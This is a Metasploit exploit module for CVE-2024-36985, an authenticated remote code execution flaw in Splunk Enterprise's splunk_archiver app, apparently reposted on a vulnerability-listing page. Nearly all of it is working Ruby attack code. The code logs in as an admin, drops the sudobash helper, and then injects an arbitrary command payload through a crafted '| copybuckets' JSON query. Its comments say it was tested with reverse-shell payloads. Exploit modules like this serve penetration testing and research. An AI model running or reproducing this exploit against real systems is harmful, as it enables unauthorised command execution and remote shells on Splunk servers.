Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution
##
# This module Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Splunk
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Authenticated RCE in Splunk (splunk_archiver app)',
'Description' => %q{
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise (splunk_archiver application).
The flaw is rooted in the unsafe use of a Splunk lookup function, specifically | copybuckets, within the splunk_archiver application,
which ultimately leads to the execution of the helper script sudobash with attacker-controlled arguments.
The affected versions include any release prior to 9.0.10, as well as versions 9.1.2 through 9.1.5 and 9.2.0 through 9.2.2.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Alex Hordijk', # Vulnerability Discovery
'psytester' # Public Exploit
],
'References' => [
['CVE', '2024-36985'],
['URL', 'https://advisory.splunk.com/advisories/SVD-2024-0705'],
['URL', 'https://web.archive.org/web/20240914000921/https://psytester.github.io/CVE-2024-36985_SPLUNK_RCE_PoC/'],
],
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Splunk < 9.0.10, 9.1.5, and 9.2.2 / Unix payload',
{
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
]
],
'Payload' => {
'BadChars' => '" '
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-07-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the Splunk App', '/']),
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username']),
OptString.new('SPLUNK_HOME', [true, 'Path to the Splunk home directory', '/opt/splunk/']),
OptBool.new('CREATE_SUDOBASH', [true, 'Set to false if you are sure that sudobash exists on the target system', true]),
OptInt.new('DELAY', [true, 'Delay in seconds to wait for sudobash to be dropped to the filesystem', 3]),
]
)
end
def check
@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
version = splunk_home_version(@cookie)
if version <= Rex::Version.new('9.0.9') ||
version.between?(Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')) ||
version.between?(Rex::Version.new('9.2.0'), Rex::Version.new('9.2.1'))
all_apps = get_apps(@cookie)
return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app was not found") if !all_apps.key?('splunk_archiver')
return CheckCode::Detected("Exploitable version found: #{version}, but splunk_archiver app is disabled") if all_apps['splunk_archiver'][:enabled] == false
return CheckCode::Appears("Exploitable version found: #{version}, splunk_archiver app is enabled")
end
return CheckCode::Safe("Non-vulnerable version found: #{version}") if !version.nil?
return CheckCode::Unknown('Target does not appear to be a Splunk instance')
end
# remove duplicate slashes
def normalize_path(path)
path.gsub(%r{/+}, '/')
end
def get_json_payload(payload)
env_name = Rex::Text.rand_text_alpha_upper(8..16)
provider = Rex::Text.rand_text_alphanumeric(8..16)
# The payload is double-escaped because the entire JSON object must be passed as a literal string value inside the json="..." splunk query.
{
'vixes' => {},
providers: {
provider => {
'command.arg.1' => normalize_path("#{datastore['SPLUNK_HOME']}/etc/apps/splunk_archiver/java-bin/jars/sudobash"),
'command.arg.2' => "-c $#{env_name}",
"env.#{env_name}" => payload
}
}
}.to_json.to_json
end
def create_sudobash
print_status('Sending sudobash create request...')
query = '| archivebuckets forcerun=1'
search(@target_app, query, @cookie)
print_good('sudobash create request has been sent!')
print_status('Sleep for 3 seconds before it is dropped on the filesystem...')
Rex::ThreadSafe.sleep(datastore['DELAY'])
print_good('Sleep Completed')
end
def trigger_exploit
print_status('Sending trigger exploit request...')
json_payload = get_json_payload(payload.encoded)
query = "| copybuckets json=#{json_payload}"
search(@target_app, query, @cookie)
end
def exploit
if @cookie.nil?
@cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
end
@target_app = get_random_app(@cookie, enabled: true)
if datastore['CREATE_SUDOBASH'] == true
create_sudobash
end
trigger_exploit
end
end
Splunk Enterprise 9.1.5 / 9.2.2 Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 112